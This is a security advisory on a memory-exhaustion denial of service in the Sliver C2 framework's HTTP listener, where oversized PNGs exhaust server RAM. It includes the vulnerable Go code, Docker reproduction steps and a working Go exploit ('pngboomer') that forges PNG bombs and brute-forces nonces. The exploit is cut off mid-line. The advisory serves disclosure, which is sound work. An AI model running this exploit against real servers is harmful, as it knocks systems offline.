Résumé

Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder

Détails de l’avis

Summary

Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.

Details

The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go

const (
    EncoderModulus = uint64(65537)
)

The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: util/encoders/images.go

func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
    img := imageFromBytes(data)
    var buf bytes.Buffer
    encoder.Encode(&buf, img)
    return buf.Bytes(), nil
}

func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
    buf := bytes.NewBuffer(data)
    img, err := png.Decode(buf)
    if err != nil { return nil, err }
    return bytesFromImage(img), nil
}

PoC

The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.

Get the latest version of Sliver (Currently 1.7.3)

git clone https://github.com/BishopFox/sliver.git

Build the Docker container:

cd sliver
docker build -t sliver-test:local -f Dockerfile .

Run the Docker container with a memory cap for example 4GB:

docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local 

After the Docker container starts, create an http listener on port 8080:

http -L 0.0.0.0 -l 8080

In a seperate terminal create the following Go project: go.mod

module pngboomer
go 1.25

poc.go

// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build:  go build -o pngboomer
// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main

import (
        "bytes"
        "compress/zlib"
        "context"
        "encoding/binary"
        "flag"
        "fmt"
        "hash/crc32"
        "io"
        "math/rand"
        "net"
        "net/http"
        "net/url"
        "os"
        "sort"
        "sync"
        "sync/atomic"
        "time"
)

// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool

func col(code, s string) string {
        if nocolor {
                return s
        }
        return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string          { return col("1", s) }
func D(s string) string          { return col("2", s) }
func R(s string) string          { return col("1;31", s) }
func G(s string) string          { return col("1;32", s) }
func Y(s string) string          { return col("1;33", s) }
func C(s string) string          { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }

// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
        out := make([]byte, 4, 12+len(data))
        binary.BigEndian.PutUint32(out, uint32(len(data)))
        out = append(out, typ...)
        out = append(out, data...)
        crc := crc32.NewIEEE()
        crc.Write([]byte(typ))
        crc.Write(data)
        tail := make([]byte, 4)
        binary.BigEndian.PutUint32(tail, crc.Sum32())
        return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
        bpp := 3
        if ct == 6 {
                bpp = 4
        }
        var zb bytes.Buffer
        zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
        row := make([]byte, 1+bpp*W)
        for i := 0; i < H; i++ {
                zw.Write(row)
        }
        zw.Close()
        ihdr := make([]byte, 13)
        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
        ihdr[8], ihdr[9] = 8, byte(ct)
        out := []byte("\x89PNG\r\n\x1a\n")
        out = append(out, chunk("IHDR", ihdr)...)
        out = append(out, chunk("IDAT", zb.Bytes())...)
        return append(out, chunk("IEND", nil)...)
}

// HTTP helpers
func hostPort(u string) string {
        p, _ := url.Parse(u)
        if p.Port() != "" {
                return p.Hostname() + ":" + p.Port()
        }
        if p.Scheme == "https" {
                return p.Hostname() + ":443"
        }
        return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
        c, err := net.DialTimeout("tcp", hp, t)
        if err != nil {
                return false
        }
        c.Close()
        return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
        req, _ := http.NewRequestWithContext(ctx, "POST",
                fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
        req.Header.Set("Content-Type", "application/octet-stream")
        t := time.Now()
        resp, err := cli.Do(req)
        dt := time.Since(t)
        if err == nil {
                io.Copy(io.Discard, resp.Body)
                resp.Body.Close()
        }
        return dt
}

type hit struct {
        n  uint64
        dt time.Duration
}

func main() {
        target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
        workers := flag.Int("workers", 8, "scan concurrency")
        probeW := flag.Int("probe-w", 2000, "probe PNG width")
        probeH := flag.Int("probe-h", 2000, "probe PNG height")
        probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
        killW := flag.Int("kill-w", 32767, "kill PNG width")
        killH := flag.Int("kill-h", 32767, "kill PNG height")
        killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
        thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
        outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
        calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
        verifyN := flag.Int("verify", 3, "re-probe count per candidate")
        maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
        pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
        kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
        capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
        known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
        scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
        noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
        noClr := flag.Bool("no-color", false, "disable ANSI color")
        silent := flag.Bool("silent", false, "only print nonce on stdout")
        flag.Parse()

        nocolor = *noClr || *silent
        pBpp, kBpp := 3, 3
        if *probeCT == 6 {
                pBpp = 4
        }
        if *killCT == 6 {
                kBpp = 4
        }
        probeMB := pBpp * *probeW * *probeH / 1024 / 1024
        killMB := kBpp * *killW * *killH / 1024 / 1024
        peakMB := *workers * probeMB
        if *capMB > 0 && peakMB > *capMB/2 {
                fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n",
                        R("[X] safety:"), peakMB, *capMB)
                os.Exit(2)
        }

        probe := makePNG(*probeW, *probeH, *probeCT)
        kill := makePNG(*killW, *killH, *killCT)
        hp := hostPort(*ta

Références